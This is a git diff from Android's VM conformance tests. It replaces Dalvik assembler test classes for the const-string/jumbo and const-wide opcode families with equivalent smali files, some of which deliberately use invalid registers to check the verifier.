diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.d
deleted file mode 100644
index 893baf2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_1.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string/jumbo v254, "android jumbo"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali
new file mode 100644
index 0000000..e3c7da1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_1.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string/jumbo v254, "android jumbo"
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.d
deleted file mode 100644
index c563141..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_3.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-string/jumbo v3, "abc jumbo"
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali
new file mode 100644
index 0000000..401572e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_3.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-string/jumbo v3, "abc jumbo"
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.d
deleted file mode 100644
index c4088d7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_4.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-string/jumbo v1, "abc jumbo"
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali
new file mode 100644
index 0000000..c12f0cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_4.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-string/jumbo v1, "abc jumbo"
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.d
deleted file mode 100644
index 649d3ce..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_string_jumbo_5.java
-.class public dot.junit.opcodes.const_string_jumbo.d.T_const_string_jumbo_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/String;
-.limit regs 255
-
-       const-string v254, "android jumbo"
-       return-object v254
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali
new file mode 100644
index 0000000..ac2af74
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_string_jumbo_5.java"
+.class  public Ldot/junit/opcodes/const_string_jumbo/d/T_const_string_jumbo_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/String;
+.registers 255
+
+       const-string v254, "android jumbo"
+       return-object v254
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.d
deleted file mode 100644
index 6809530..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_1.java
-.class public dot.junit.opcodes.const_wide.d.T_const_wide_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()D
-.limit regs 3
-
-       const-wide v1, 1.2345678901232324E51
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali
new file mode 100644
index 0000000..515f019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_1.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 3
+
+       const-wide v1, 1.2345678901232324E51
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.d
deleted file mode 100644
index b2ddede..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_2.java
-.class public dot.junit.opcodes.const_wide.d.T_const_wide_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 255
-
-       const-wide v253, 20000000000
-       return-wide v253
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.smali
new file mode 100644
index 0000000..9852486
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_2.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/const_wide/d/T_const_wide_2;
+.super Ljava/lang/Object;
+.source "T_const_wide_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 255
+
+    const-wide v253, 0x4a817c800L
+
+    return-wide v253
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.d
deleted file mode 100644
index 1fab9ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_3.java
-.class public dot.junit.opcodes.const_wide.d.T_const_wide_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali
new file mode 100644
index 0000000..5ee1e47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_3.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.d
deleted file mode 100644
index 9493e94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_4.java
-.class public dot.junit.opcodes.const_wide.d.T_const_wide_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-wide v1, 3456
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali
new file mode 100644
index 0000000..81ee5af
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide/d/T_const_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_4.java"
+.class  public Ldot/junit/opcodes/const_wide/d/T_const_wide_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide v1, 3456
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.d
deleted file mode 100644
index 02c4e1c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_16_1.java
-.class public dot.junit.opcodes.const_wide_16.d.T_const_wide_16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 255
-
-       const-wide/16 v253, 20000
-       return-wide v253
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali
new file mode 100644
index 0000000..6f419c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_1.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 255
+
+       const-wide/16 v253, 20000
+       return-wide v253
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.d
deleted file mode 100644
index eebf570..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_16_3.java
-.class public dot.junit.opcodes.const_wide_16.d.T_const_wide_16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide/16 v3, 1234
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali
new file mode 100644
index 0000000..f6dc2b2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_3.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide/16 v3, 1234
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.d
deleted file mode 100644
index c1d79b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_16_4.java
-.class public dot.junit.opcodes.const_wide_16.d.T_const_wide_16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-       const-wide v0, 1234    
-       const-wide/16 v1, 3456
-
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali
new file mode 100644
index 0000000..4c0433f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_16/d/T_const_wide_16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_16_4.java"
+.class  public Ldot/junit/opcodes/const_wide_16/d/T_const_wide_16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+       const-wide v0, 1234    
+       const-wide/16 v1, 3456
+
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.d
deleted file mode 100644
index 1962b17..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_const_wide_32_1.java
-.class public dot.junit.opcodes.const_wide_32.d.T_const_wide_32_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 255
-
-       const-wide/32 v253, 20000000
-       return-wide v253
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali
new file mode 100644
index 0000000..7ee8b6e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/const_wide_32/d/T_const_wide_32_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_const_wide_32_1.java"
+.class  public Ldot/junit/opcodes/const_wide_32/d/T_const_wide_32_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
